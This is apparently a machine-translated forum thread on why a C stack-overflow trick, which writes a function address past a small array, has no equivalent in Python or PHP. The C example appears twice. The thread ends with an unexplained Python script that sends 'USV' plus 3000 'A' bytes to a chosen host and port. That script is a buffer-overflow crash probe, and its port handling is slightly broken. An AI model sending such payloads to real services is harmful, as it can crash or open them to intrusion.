这是c中的一个示例:
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
这是c中的一个示例:
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
像其他人建议的那样解释 Python 和 PHP 的事实实际上并不是重点。关键是它们公开的几乎所有 API 和语言语义都经过严格的错误检查,因此不可能有可利用的未定义行为。即使你编译这些语言,它仍然是不可能的。这并不意味着您不能公开可以做任何事情的不安全 API。事实上,使用 Python 的 ctypes 模块,应该可以创建类似的行为,但要意外地做到这一点要困难得多。
由于 PHP 是一种脚本语言并且没有指针,并且字符串类型是二进制安全的,因此这些东西在 PHP 中不起作用。
但是你为什么要做这样的事情呢?
(哦,PHP中可能存在导致缓冲区溢出的错误,但这不是任何可以依赖的东西,而且通常会很快修复......)
很抱歉:您遇到了 Python 的弱点。不幸的是,这是设计使然,因此几乎无能为力。也许你应该留在 C.
正如 Martin v. Löwis所说:
Python 不支持缓冲区溢出,抱歉。
PS哇。好像几个月前我读过那篇文章,但已经过去了 7 年零一天。
在 PHP 中做类似的事情不会导致相同的行为。
PHP 被解释并始终检查您正在执行的操作是否有效。所以您不能 - 例如 - 溢出缓冲区。
因为 php、python 和每一种解释语言首先都必须通过解释器,而你没有完全访问内存的权限,这种语言不会让你做一些像你发布的代码这样的游戏。
import sys
import socket
for carg in sys.argv:
if carg == "-S":
argnum= sys.argv.index(carg)
argnum +=1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum +=1
port = sys.argv[argnum]
buffer = "\x41"* 3000
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("USV" + buffer)
s.close()